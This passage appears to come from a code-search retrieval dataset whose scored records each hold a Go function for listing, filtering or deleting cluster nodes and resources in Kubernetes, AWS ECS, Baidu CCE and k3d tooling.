fail.InvalidParameterCannotBeNilError(\"inctx\")\n\t}\n\tif in == nil {\n\t\treturn nil, fail.InvalidParameterCannotBeNilError(\"in\")\n\t}\n\n\tref, _ := srvutils.GetReference(in)\n\tif ref == \"\" {\n\t\treturn nil, fail.InvalidRequestError(\"cluster name is missing\")\n\t}\n\n\tjob, err := PrepareJob(inctx, in.GetTenantId(), fmt.Sprintf(\"/cluster/%s/nodes/list\", ref))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer job.Close()\n\n\thandler := handlers.NewClusterHandler(job)\n\n\tlist, xerr := handler.ListNodes(ref)\n\tif xerr != nil {\n\t\treturn nil, xerr\n\t}\n\n\tout := &protocol.ClusterNodeListResponse{}\n\tout.Nodes = make([]*protocol.Host, 0, len(list))\n\tfor _, v := range list {\n\t\tout.Nodes = append(out.Nodes, &protocol.Host{\n\t\t\tId: v.ID,\n\t\t\tName: v.Name,\n\t\t})\n\t}\n\treturn out, nil\n}", "title": "" }, { "docid": "b0f2269dc3a7c55ef47bdb6af8739f29", "score": "0.5452264", "text": "func testListClusterNodes(t *testing.T) {\n\tctx := context.Background()\n\n\t// Init BCE Client\n\tak := \"xxxxxxxx\"\n\tsk := \"xxxxxxxx\"\n\tregion := \"sz\"\n\tendpoint := \"cce.su.baidubce.com\"\n\n\tc := newClient(ak, sk, region, endpoint)\n\n\t// Test ListClusterNodes\n\tnodesResq, err := c.ListClusterNodes(ctx, \"xxxxxx\", nil)\n\tif err != nil {\n\t\tt.Errorf(\"ListClusterNodes failed: %v\", err)\n\t\treturn\n\t}\n\n\tstr, _ := json.Marshal(nodesResq)\n\tt.Errorf(\"ListClusterNodes failed: %v\", string(str))\n}", "title": "" }, { "docid": "2b6c4da69db4b79b248ba01b38d851be", "score": "0.5447609", "text": "func getActiveMachinesInCluster(ctx context.Context, c client.Client, namespace, name string) ([]*clusterv1.Machine, error) {\n\tif name == \"\" {\n\t\treturn nil, nil\n\t}\n\n\tmachineList := &clusterv1.MachineList{}\n\tlabels := map[string]string{clusterv1.ClusterLabelName: name}\n\n\tif err := c.List(ctx, machineList, client.InNamespace(namespace), client.MatchingLabels(labels)); err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to list machines\")\n\t}\n\n\tmachines := []*clusterv1.Machine{}\n\tfor i := range machineList.Items {\n\t\tm := &machineList.Items[i]\n\t\tif m.DeletionTimestamp.IsZero() {\n\t\t\tmachines = append(machines, m)\n\t\t}\n\t}\n\treturn machines, nil\n}", "title": "" }, { "docid": "26a3a4897d9adeb9cff872ca42c8d015", "score": "0.5435701", "text": "func getAllElasticacheClusters(session *session.Session, region string, excludeAfter time.Time, configObj config.Config) ([]*string, error) {\n\tsvc := elasticache.New(session)\n\tresult, err := svc.DescribeCacheClusters(&elasticache.DescribeCacheClustersInput{})\n\tif err != nil {\n\t\treturn nil, errors.WithStackTrace(err)\n\t}\n\n\tvar clusterIds []*string\n\tfor _, cluster := range result.CacheClusters {\n\t\tif shouldIncludeElasticacheCluster(cluster, excludeAfter, configObj) {\n\t\t\tclusterIds = append(clusterIds, cluster.CacheClusterId)\n\t\t}\n\t}\n\n\treturn clusterIds, nil\n}", "title": "" }, { "docid": "9a9368bb06eea68f318cbb208e28b03b", "score": "0.54300267", "text": "func (ct *ClusterTopology) GetClusterNodes() (nodes []*ClusterTopologyNode) {\n\tnodes = make([]*ClusterTopologyNode, 0)\n\tmux.RLock()\n\tdefer mux.RUnlock()\n\tfor _, nd := range ct.Nodes {\n\t\tif nd.Node.Name != currentNode.Node.Name && Active == nd.Node.State {\n\t\t\tnodes = append(nodes, nd)\n\t\t}\n\t}\n\treturn nodes\n}", "title": "" }, { "docid": "b7ebdcf5401d8be9de2dcfbd784d6b49", "score": "0.54167205", "text": "func (c *cluster) GetAllNodes() *[]Node {\n c.lock.RLock()\n defer c.lock.RUnlock()\n\n result := make([]Node, 0, len(c.nodes))\n for _, n := range c.nodes {\n result = append(result, Node{n.Name, n.Nid, n.GossipAddr, n.RestAddr, n.State, n.StateCtr})\n }\n\n return &result\n}", "title": "" }, { "docid": "828ca6d00f9096cc9158a88efc7d0397", "score": "0.54149663", "text": "func GetClusterNames(clusterName string) (lines []string, err error) {\n\t// For now, only supports one server, so server name will be based on th cluster name\n\tcmd := exec.Command(\n\t\t\"docker\",\n\t\t\"ps\",\n\t\t\"-q\", // quiet output for parsing\n\t\t\"-a\", // show stopped nodes\n\t\t\"--no-trunc\", // don't truncate\n\t\t// filter for nodes with the cluster label\n\t\t\"--filter\", fmt.Sprintf(\"label=%s=%s\", clusterconfig.ClusterLabelKey, clusterName),\n\t\t// format to include the cluster name\n\t\t\"--format\", `{{.Names}}`,\n\t)\n\tlines, err = docker.ExecOutput(*cmd, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// currentlt only supports one server\n\t// if len(lines) != 1 {\n\t// \treturn nil, fmt.Errorf(\"k3scli don't support multiserver now...\")\n\t// }\n\treturn lines, nil\n}", "title": "" }, { "docid": "e8c2ba5db5ef7068855f61407ac9646c", "score": "0.5381949", "text": "func ListAllCluster(c echo.Context) error {\n\tcblog.Info(\"call ListAllCluster()\")\n\n\tvar req struct {\n\t\tNameSpace string\n\t\tConnectionName string\n\t}\n\n\tif err := c.Bind(&req); err != nil {\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, err.Error())\n\t}\n\n\t// To support for Get-Query Param Type API\n\tif req.ConnectionName == \"\" {\n\t\treq.ConnectionName = c.QueryParam(\"ConnectionName\")\n\t}\n\n\t// Call common-runtime API\n\tallResourceList, err := cmrt.ListAllResource(req.ConnectionName, rsCluster)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, err.Error())\n\t}\n\n\t// To support for Get-Query Param Type API\n\tif req.NameSpace == \"\" {\n\t\treq.NameSpace = c.QueryParam(\"NameSpace\")\n\t}\n\n\t// Resource Name has namespace prefix when from Tumblebug\n\tif req.NameSpace != \"\" {\n\t\tnameSpace := req.NameSpace + \"-\"\n\t\tfor idx, IID := range allResourceList.AllList.MappedList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.MappedList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t\tfor idx, IID := range allResourceList.AllList.OnlySpiderList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.OnlySpiderList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t\tfor idx, IID := range allResourceList.AllList.OnlyCSPList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.OnlyCSPList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t}\n\n\tvar jsonResult struct {\n\t\tConnection string\n\t\tAllResourceList *cmrt.AllResourceList\n\t}\n\tjsonResult.Connection = req.ConnectionName\n\tjsonResult.AllResourceList = &allResourceList\n\n\treturn c.JSON(http.StatusOK, &jsonResult)\n}", "title": "" }, { "docid": "ababf747ff5f47bcf7379ff8ea1282bd", "score": "0.5373949", "text": "func GetUntaggedNodes(appSettings appsettings.AppSettings) (nodes2tag []string, err error) {\n\t// creates the in-cluster config\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nodes2tag, err\n\t}\n\t// creates the clientset\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\tlog.Debugf(\"Getting the in cluster configuration for Kubernetes\")\n\t\treturn nodes2tag, err\n\t}\n\tfor {\n\t\tnodes, err := clientset.CoreV1().Nodes().List(metav1.ListOptions{})\n\t\tif err != nil {\n\t\t\tlog.Debugf(\"Connecting to Kubernetes...\")\n\t\t\treturn nodes2tag, err\n\t\t}\n\t\tlog.Debugf(\"There are %d nodes in the cluster\\n\", len(nodes.Items))\n\n\t\tfor _, node := range nodes.Items {\n\t\t\tlog.Debugf(\"NodeName: %s\", node.Name)\n\t\t\tlog.Debugf(\"Annotations: %v\", node.Annotations)\n\n\t\t\t// not very pretty, this will itirate over annotations of all nodes for all annotations\n\t\t\tfor i := range appSettings.InfrastructureTags {\n\t\t\t\tif node.Annotations[K8sAnnotationDomain+\"/\"+appSettings.InfrastructureTags[i].Key] == \"\" {\n\t\t\t\t\tlog.Debugf(\"Annotation: %v, does not exist on node %s\", appSettings.InfrastructureTags[i].Key, node.Name)\n\t\t\t\t\tlog.Debugf(\"Adding Node %s, to list of nodes to tag\", node.Name)\n\t\t\t\t\tnodes2tag = append(nodes2tag, node.Name)\n\t\t\t\t\tbreak\n\t\t\t\t} else if node.Annotations[K8sAnnotationDomain+\"/\"+appSettings.InfrastructureTags[i].Key] != appSettings.InfrastructureTags[i].Value {\n\t\t\t\t\tlog.Debugf(\"Annotation: %v, value is %s however we expected %s\",\n\t\t\t\t\t\tappSettings.InfrastructureTags[i].Key,\n\t\t\t\t\t\tnode.Annotations[appSettings.InfrastructureTags[i].Key],\n\t\t\t\t\t\tappSettings.InfrastructureTags[i].Value,\n\t\t\t\t\t)\n\t\t\t\t\tlog.Debugf(\"Adding Node %s, to list of nodes to tag\", node.Name)\n\t\t\t\t\tnodes2tag = append(nodes2tag, node.Name)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nodes2tag, nil\n\t}\n}", "title": "" }, { "docid": "b4eba57fad656819e2cee021fb90146a", "score": "0.5373342", "text": "func TestFindUnclusteredNeighbours(t *testing.T) {\n\tlog.Println(\"Executing TestFindUnclusteredNeighbours\")\n\tclusterList := []Clusterable{\n\t\tSimpleClusterable{0},\n\t\tSimpleClusterable{1},\n\t\tSimpleClusterable{-1},\n\t\tSimpleClusterable{1.5},\n\t\tSimpleClusterable{-0.5},\n\t}\n\tvisited := make(map[string]bool)\n\teps := 1.0\n\tneighbours := findUnclusteredNeighbours(clusterList[0], clusterList, visited, eps)\n\n\tassertEquals(t, 4, len(neighbours))\n}", "title": "" }, { "docid": "d6cf4f8ff0b667a93a68930a68001f6c", "score": "0.5365451", "text": "func (c *cluster) GetAllNids() (result []Nid) {\n c.lock.RLock()\n defer c.lock.RUnlock()\n\n result = make([]Nid, 0, len(c.nodes))\n for nid, _ := range c.nodes {\n result = append(result, nid)\n }\n\n return result\n}", "title": "" }, { "docid": "4b54ee7c353d8173d6048319b25c9866", "score": "0.5353782", "text": "func GetClusterInstances(cluster string) ([]string, error) {\n\tsvc := assertECS()\n\tinput := &ecs.ListContainerInstancesInput{\n\t\tCluster: &cluster,\n\t}\n\tpageNum := 0\n\toutput := make([]string, 0)\n\terr := svc.ListContainerInstancesPages(input,\n\t\tfunc(page *ecs.ListContainerInstancesOutput, lastPage bool) bool {\n\t\t\tfor _, arn := range page.ContainerInstanceArns {\n\t\t\t\toutput = append(output, *arn)\n\t\t\t}\n\t\t\tpageNum++\n\t\t\treturn true\n\t\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn output, nil\n}", "title": "" }, { "docid": "95f5ca2856fca41ca92eba4f724ca8f4", "score": "0.5349334", "text": "func (w *worker) waitHostNotInCluster(host *chop.ChiHost) error {\n\treturn w.c.pollHost(host, nil, func(host *chop.ChiHost) bool {\n\t\treturn !w.schemer.IsHostInCluster(host)\n\t})\n}", "title": "" }, { "docid": "fa38d3e0df1265d994d4eb7958ead394", "score": "0.5331079", "text": "func FindUnusedNodes(podlists []apiv1.Pod, nodelists []string)[]string{\n\tpodNodesMap := make(map[string]string)\n\tvar unusedNodes []string\n\t// build a hash-map to store all the assigned worker nodes and pods' names\n\tfor _, pod := range podlists {\n\t\tif pod.Spec.NodeName == \"\"{\n\t\t\tlog.Printf(\"Warning: the pod %s is assigned to a node with empty IP \\n\",pod.ObjectMeta.Name)\n\t\t\tcontinue\n\t\t}\n\t\tpodNodesMap[pod.Spec.NodeName] = pod.ObjectMeta.Name\n\t}\n\tfor _, nodeIP := range nodelists {\n\t\tif _, exist := podNodesMap[nodeIP]; !exist{\n\t\t\t//This worker Node is unused, add to the unused nodes list\n\t\t\tif nodeIP != \"\"{\n\t\t\t\tunusedNodes = append(unusedNodes,nodeIP)\n\t\t\t}\n\t\t}\n\t}\n\treturn unusedNodes\n}", "title": "" }, { "docid": "3f0196c6c2db3432ae191475140aca1a", "score": "0.52935517", "text": "func (ct *ClusterTopology) GetInactiveNodes() (nodes []*ClusterTopologyNode) {\n\tnodes = make([]*ClusterTopologyNode, 0)\n\tmux.RLock()\n\tdefer mux.RUnlock()\n\tfor _, nd := range ct.Nodes {\n\t\tif Active != nd.Node.State {\n\t\t\tnodes = append(nodes, nd)\n\t\t}\n\t}\n\treturn nodes\n}", "title": "" }, { "docid": "717d97da9d9da663e2ecb0effa245e34", "score": "0.5271878", "text": "func (m *Membership) NodesWithoutVolumeIDs(vids []string) (res []*client.Client) {\n\tm.nodesLock.RLock()\n\tfor _, r := range m.nodes {\n\t\tvar found bool\n\t\tfor _, vid := range vids {\n\t\t\tif _, ok := r.meta.Volumes[vid]; ok {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\tres = append(res, r.conn)\n\t\t}\n\t}\n\tm.nodesLock.RUnlock()\n\n\treturn\n}", "title": "" }, { "docid": "6f89ab901192b1e42e248b689d8e7473", "score": "0.52659386", "text": "func (c *ClusterStatusManager) getClusterPods(clusterName, namespace string, clusterLabels map[string]string) (*corev1.PodList, error) {\n\tpods := &corev1.PodList{\n\t\tTypeMeta: resource.GetPodTypeMeta(),\n\t}\n\n\tlabelSelector := map[string]string{\n\t\t\"cluster\": clusterName,\n\t\t\"type\": \"cassandra-node\",\n\t\t\"state\": \"serving\",\n\t}\n\n\tif appName, ok := clusterLabels[\"app\"]; ok {\n\t\tlabelSelector[\"app\"] = appName\n\t}\n\n\tlistOpts := &metav1.ListOptions{\n\t\tLabelSelector: labels.SelectorFromSet(labelSelector).String(),\n\t}\n\n\terr := c.listerUpdater.List(namespace, pods, sdk.WithListOptions(listOpts))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Could not list pods for cluster %s: %s\", clusterName, err)\n\t}\n\n\treturn pods, nil\n}", "title": "" }, { "docid": "9183d967d7584ba1dcb7417685eb4197", "score": "0.52605677", "text": "func (ls *LocalStorage) filterAllowedNodes(clients map[string]provisioner.API, deploymentName, role string) ([]provisioner.API, error) {\n\t// Find all PVs for given deployment & role\n\tlist, err := ls.deps.KubeCli.CoreV1().PersistentVolumes().List(metav1.ListOptions{\n\t\tLabelSelector: fmt.Sprintf(\"%s=%s,%s=%s\", k8sutil.LabelKeyArangoDeployment, deploymentName, k8sutil.LabelKeyRole, role),\n\t})\n\tif err != nil {\n\t\treturn nil, maskAny(err)\n\t}\n\texcludedNodes := make(map[string]struct{})\n\tfor _, pv := range list.Items {\n\t\tnodeName := pv.GetAnnotations()[nodeNameAnnotation]\n\t\texcludedNodes[nodeName] = struct{}{}\n\t}\n\tresult := make([]provisioner.API, 0, len(clients))\n\tfor nodeName, c := range clients {\n\t\tif _, found := excludedNodes[nodeName]; !found {\n\t\t\tresult = append(result, c)\n\t\t}\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "7c0d1175ad4be98ba38817839361d4e2", "score": "0.5259443", "text": "func checkMissingCluster(d *schema.ResourceData, err error) error {\n\tif strings.Contains(err.Error(), \"code=404\") {\n\t\t// the owning cluster doesn't exist, the container can't\n\t\td.SetId(\"\")\n\t\treturn nil\n\t}\n\treturn err\t\n}", "title": "" }, { "docid": "2a9130f713b95f9dfc5016edbb79e353", "score": "0.5185981", "text": "func (e *ECS) ListContainerInstances(req *ListContainerInstancesReq) (\n\t*ListContainerInstancesResp, error) {\n\tif req == nil {\n\t\treturn nil, fmt.Errorf(\"The req params cannot be nil\")\n\t}\n\n\tparams := makeParams(\"ListContainerInstances\")\n\tif req.MaxResults > 0 {\n\t\tparams[\"maxResults\"] = strconv.Itoa(int(req.MaxResults))\n\t}\n\tif req.Cluster != \"\" {\n\t\tparams[\"cluster\"] = req.Cluster\n\t}\n\tif req.NextToken != \"\" {\n\t\tparams[\"nextToken\"] = req.NextToken\n\t}\n\n\tresp := new(ListContainerInstancesResp)\n\tif err := e.query(params, resp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "71b60385f184679c42a4c22752aeaceb", "score": "0.5151498", "text": "func (d *disabledNodesProvider) GetAllNodes() ([]*data.NodeData, error) {\n\treturn nil, errors.New(d.returnMessage)\n}", "title": "" }, { "docid": "001597741b3d776ae7890e2c29590895", "score": "0.5144854", "text": "func DeleteCluster(c *cli.Context) error {\n\n\tclusters, err := getClusters(c.Bool(\"all\"), c.String(\"name\"))\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(clusters) == 0 {\n\t\tif !c.IsSet(\"all\") && !c.IsSet(\"name\") {\n\t\t\treturn fmt.Errorf(\"No cluster with name '%s' found (You can add `--all` and `--name <CLUSTER-NAME>` to delete other clusters)\", c.String(\"name\"))\n\t\t}\n\t\treturn fmt.Errorf(\"No cluster(s) found\")\n\t}\n\n\t// remove clusters one by one instead of appending all names to the docker command\n\t// this allows for more granular error handling and logging\n\tfor _, cluster := range clusters {\n\t\tlog.Printf(\"Removing cluster [%s]\", cluster.name)\n\t\tif len(cluster.workers) > 0 {\n\t\t\t// TODO: this could be done in goroutines\n\t\t\tlog.Printf(\"...Removing %d workers\\n\", len(cluster.workers))\n\t\t\tfor _, worker := range cluster.workers {\n\t\t\t\tif err := removeContainer(worker.ID); err != nil {\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdeleteClusterDir(cluster.name)\n\t\tlog.Println(\"...Removing server\")\n\t\tif err := removeContainer(cluster.server.ID); err != nil {\n\t\t\treturn fmt.Errorf(\" Couldn't remove server for cluster %s\\n%+v\", cluster.name, err)\n\t\t}\n\n\t\tif err := disconnectRegistryFromNetwork(cluster.name, c.IsSet(\"keep-registry-volume\")); err != nil {\n\t\t\tlog.Warningf(\"Couldn't disconnect Registry from network %s\\n%+v\", cluster.name, err)\n\t\t}\n\n\t\tif c.IsSet(\"prune\") {\n\t\t\t// disconnect any other container that is connected to the k3d network\n\t\t\tnid, err := getClusterNetwork(cluster.name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Warningf(\"Couldn't get the network for cluster %q\\n%+v\", cluster.name, err)\n\t\t\t}\n\t\t\tcids, err := getContainersInNetwork(nid)\n\t\t\tif err != nil {\n\t\t\t\tlog.Warningf(\"Couldn't get the list of containers connected to network %q\\n%+v\", nid, err)\n\t\t\t}\n\t\t\tfor _, cid := range cids {\n\t\t\t\terr := disconnectContainerFromNetwork(cid, nid)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Warningf(\"Couldn't disconnect container %q from network %q\", cid, nid)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tlog.Printf(\"...%q has been forced to disconnect from %q's network\", cid, cluster.name)\n\t\t\t}\n\t\t}\n\n\t\tif err := deleteClusterNetwork(cluster.name); err != nil {\n\t\t\tlog.Warningf(\"Couldn't delete cluster network for cluster %s\\n%+v\", cluster.name, err)\n\t\t}\n\n\t\tlog.Println(\"...Removing docker image volume\")\n\t\tif err := deleteImageVolume(cluster.name); err != nil {\n\t\t\tlog.Warningf(\"Couldn't delete image docker volume for cluster %s\\n%+v\", cluster.name, err)\n\t\t}\n\n\t\tlog.Infof(\"Removed cluster [%s]\", cluster.name)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ed65d0edeb8f1a12965e1e0c7490ee15", "score": "0.5132795", "text": "func GetAllIngressesFromCluster(clientset *kubernetes.Clientset) (*networkingv1.IngressList, error) {\n\tingressList, err := clientset.NetworkingV1().Ingresses(\"\").List(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ingressList, nil\n}", "title": "" }, { "docid": "c55afe17c1c3483f07fad8afc501ee2f", "score": "0.51283145", "text": "func (c *kubernetesClient) GetPreemptibleNodes(ctx context.Context, filters map[string]string) (nodes *v1.NodeList, err error) {\n\n\tlabelSelector := labels.Set{\n\t\t\"cloud.google.com/gke-preemptible\": \"true\",\n\t}\n\n\tfor key, value := range filters {\n\t\tlabelSelector[key] = value\n\t}\n\n\tnodes, err = c.kubeClientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{\n\t\tLabelSelector: labelSelector.String(),\n\t})\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "d038154a2c888bb1f2cb6e2dd2673872", "score": "0.5105923", "text": "func (mcr *MiddlewareClusterRepo) GetAll() ([]metadata.MiddlewareCluster, error) {\n\tsql := `\n\t\tselect id, cluster_name, owner_id, env_id, del_flag, create_time, last_update_time\n\t\tfrom t_meta_middleware_cluster_info\n\t\twhere del_flag = 0\n\t\torder by id;\n\t`\n\tlog.Debugf(\"metadata MiddlewareClusterRepo.GetAll() sql: \\n%s\", sql)\n\n\tresult, err := mcr.Execute(sql)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// init []*MiddlewareClusterInfo\n\tmiddlewareClusterInfoList := make([]*MiddlewareClusterInfo, result.RowNumber())\n\tfor i := range middlewareClusterInfoList {\n\t\tmiddlewareClusterInfoList[i] = NewEmptyMiddlewareClusterInfoWithGlobal()\n\t}\n\t// map to struct\n\terr = result.MapToStructSlice(middlewareClusterInfoList, constant.DefaultMiddlewareTag)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// init []dependency.Entity\n\tentityList := make([]metadata.MiddlewareCluster, result.RowNumber())\n\tfor i := range entityList {\n\t\tentityList[i] = middlewareClusterInfoList[i]\n\t}\n\n\treturn entityList, nil\n}", "title": "" }, { "docid": "f6be96e1a68ee5d7c6d1e04394e0e434", "score": "0.510501", "text": "func (c *Client) GetAsgNodes(groupID string, clusterID string) ([]CceInstance, error) {\n\tif clusterID == \"\" {\n\t\treturn nil, fmt.Errorf(\"clusterID should not be nil\")\n\t}\n\n\tif groupID == \"\" {\n\t\treturn nil, fmt.Errorf(\"groupID should not be nil\")\n\t}\n\n\tparams := map[string]string{\n\t\t\"clusterUuid\": clusterID,\n\t\t\"groupId\": groupID,\n\t}\n\treq, err := bce.NewRequest(\"GET\", c.GetURL(\"/v1/cluster/group/instances\", params), nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp, err := c.SendRequest(req, nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbodyContent, err := resp.GetBodyContent()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar insList ListInstancesResponse\n\terr = json.Unmarshal(bodyContent, &insList)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn insList.Instances, nil\n}", "title": "" }, { "docid": "5debe0160dbd72e563d4530568e9e746", "score": "0.50955373", "text": "func GetClusterIPs(service *corev1.Service) []string {\n\tclusterIPs := []string{service.Spec.ClusterIP}\n\tif len(service.Spec.ClusterIPs) > 0 {\n\t\tclusterIPs = service.Spec.ClusterIPs\n\t}\n\n\t// Same IPv6 could be represented differently (as from rfc5952):\n\t// 2001:db8:0:0:aaaa::1\n\t// 2001:db8::aaaa:0:0:1\n\t// 2001:db8:0::aaaa:0:0:1\n\t// net.ParseIP(ip).String() output is used as a normalization form\n\t// for all cases above it returns 2001:db8::aaaa:0:0:1\n\t// without the normalization there could be mismatches in key lookups e.g. for PTR\n\tnormalized := make([]string, 0, len(clusterIPs))\n\tfor _, ip := range clusterIPs {\n\t\tnormalized = append(normalized, net.ParseIP(ip).String())\n\t}\n\n\treturn normalized\n}", "title": "" }, { "docid": "6652f75c9b77387f0979e5551a70db6c", "score": "0.50845563", "text": "func awsEKSDiscoveryUnmatchedCluster(t *testing.T) {\n\tt.Parallel()\n\tteleport := createTeleportCluster(t,\n\t\twithKubeService(t, services.ResourceMatcher{\n\t\t\tLabels: types.Labels{\n\t\t\t\ttypes.Wildcard: []string{types.Wildcard},\n\t\t\t},\n\t\t\tAWS: services.ResourceMatcherAWS{\n\t\t\t\tAssumeRoleARN: os.Getenv(kubeSvcRoleARNEnv),\n\t\t\t},\n\t\t}),\n\t\twithKubeDiscoveryService(t, types.Labels{\n\t\t\t// This label will not match the EKS cluster.\n\t\t\t\"env\": {\"tag_not_found\"},\n\t\t}),\n\t)\n\t// Get the auth server.\n\tauthC := teleport.Process.GetAuthServer()\n\t// Wait for the discovery service to not create a KubernetesCluster resource\n\t// because the cluster does not match the selectors.\n\trequire.Never(t, func() bool {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\t\tdefer cancel()\n\n\t\tclusters, err := authC.GetKubernetesClusters(ctx)\n\t\treturn err == nil && len(clusters) != 0\n\t}, 2*time.Minute, 10*time.Second, \"discovery service incorrectly created a kube_cluster\")\n}", "title": "" }, { "docid": "4f0ad5b094550824adf019f60528c82a", "score": "0.50802994", "text": "func (c *compositeCluster) GetNodes() ([]cluster.Node, error) {\n\tvar totalNodes []cluster.Node\n\tfor _, op := range c.ops {\n\t\tnodes, err := op.GetNodes()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttotalNodes = append(totalNodes, nodes...)\n\t}\n\treturn totalNodes, nil\n}", "title": "" }, { "docid": "8edea152eba9c83bdadf1273758c64d8", "score": "0.5075146", "text": "func clusterList() []string {\n\tif c := envy.String(\"DQLITED_CLUSTER\"); c != \"\" {\n\t\treturn strings.Split(c, \",\")\n\t}\n\treturn defaultCluster\n}", "title": "" }, { "docid": "f40953a227c2b345661a5021fa8187d3", "score": "0.5069346", "text": "func (instance *ClassicCluster) unsafeListNodes(inctx context.Context) (_ resources.IndexedListOfClusterNodes, _ fail.Error) {\n\tctx, cancel := context.WithCancel(inctx)\n\tdefer cancel()\n\n\ttype result struct {\n\t\trTr resources.IndexedListOfClusterNodes\n\t\trErr fail.Error\n\t}\n\tchRes := make(chan result)\n\tgo func() {\n\t\tdefer close(chRes)\n\t\tgres, _ := func() (_ result, ferr fail.Error) {\n\t\t\tdefer fail.OnPanic(&ferr)\n\n\t\t\tlicn := make(resources.IndexedListOfClusterNodes)\n\n\t\t\tlinodes, xerr := instance.trueListNodes(ctx)\n\t\t\txerr = debug.InjectPlannedFail(xerr)\n\t\t\tif xerr != nil {\n\t\t\t\treturn result{licn, xerr}, xerr\n\t\t\t}\n\n\t\t\tfor ind, v := range linodes {\n\t\t\t\tlicn[uint(ind)] = &propertiesv3.ClusterNode{\n\t\t\t\t\tID: v.Core.ID,\n\t\t\t\t\tNumericalID: uint(ind),\n\t\t\t\t\tName: v.Core.Name,\n\t\t\t\t\tPublicIP: v.Networking.PublicIPv4,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn result{licn, nil}, nil\n\t\t}()\n\t\tchRes <- gres\n\t}()\n\tselect {\n\tcase res := <-chRes:\n\t\treturn res.rTr, res.rErr\n\tcase <-ctx.Done():\n\t\treturn nil, fail.ConvertError(ctx.Err())\n\tcase <-inctx.Done():\n\t\treturn nil, fail.ConvertError(inctx.Err())\n\t}\n}", "title": "" }, { "docid": "a9760f5dcf036f5eab595b181c24d2c3", "score": "0.5067748", "text": "func (cm *Docker) AllNodes() (nodes entity.Nodes) {\n\tcm.lock.Lock()\n\tfor _, node := range cm.nodes {\n\t\tnodes = append(nodes, node)\n\t}\n\t//nodes.Sort()\n\tnodes.Filter()\n\tcm.lock.Unlock()\n\treturn nodes\n}", "title": "" }, { "docid": "4a0a254ae872338847964d52ac23c604", "score": "0.5065518", "text": "func ValidateCluster(clusterName string, instanceGroupList *kops.InstanceGroupList, clusterKubernetesClient kubernetes.Interface) (*ValidationCluster, error) {\n\tvar instanceGroups []*kops.InstanceGroup\n\tvalidationCluster := &ValidationCluster{}\n\n\tfor i := range instanceGroupList.Items {\n\t\tig := &instanceGroupList.Items[i]\n\t\tinstanceGroups = append(instanceGroups, ig)\n\t\tif ig.Spec.Role == kops.InstanceGroupRoleMaster {\n\t\t\tvalidationCluster.MastersCount += int(fi.Int32Value(ig.Spec.MinSize))\n\t\t} else if ig.Spec.Role == kops.InstanceGroupRoleNode {\n\t\t\tvalidationCluster.NodesCount += int(fi.Int32Value(ig.Spec.MinSize))\n\t\t}\n\t}\n\n\tif len(instanceGroups) == 0 {\n\t\treturn validationCluster, fmt.Errorf(\"no InstanceGroup objects found\")\n\t}\n\n\ttimeout, err := time.ParseDuration(\"10s\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot set timeout %q: %v\", clusterName, err)\n\t}\n\n\tnodeAA, err := NewNodeAPIAdapter(clusterKubernetesClient, timeout)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error building node adapter for %q: %v\", clusterName, err)\n\t}\n\n\tvalidationCluster.NodeList, err = nodeAA.GetAllNodes()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot get nodes for %q: %v\", clusterName, err)\n\t}\n\n\tvalidationCluster.ComponentFailures, err = collectComponentFailures(clusterKubernetesClient)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot get component status for %q: %v\", clusterName, err)\n\t}\n\n\tvalidationCluster.PodFailures, err = collectPodFailures(clusterKubernetesClient)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot get pod health for %q: %v\", clusterName, err)\n\t}\n\n\treturn validateTheNodes(clusterName, validationCluster)\n\n}", "title": "" }, { "docid": "e4108ef531af87b9d8cd06027817341b", "score": "0.50486755", "text": "func (c *Client) GetFloatingIPsForCluster(name string) ([]*FloatingIP, error) 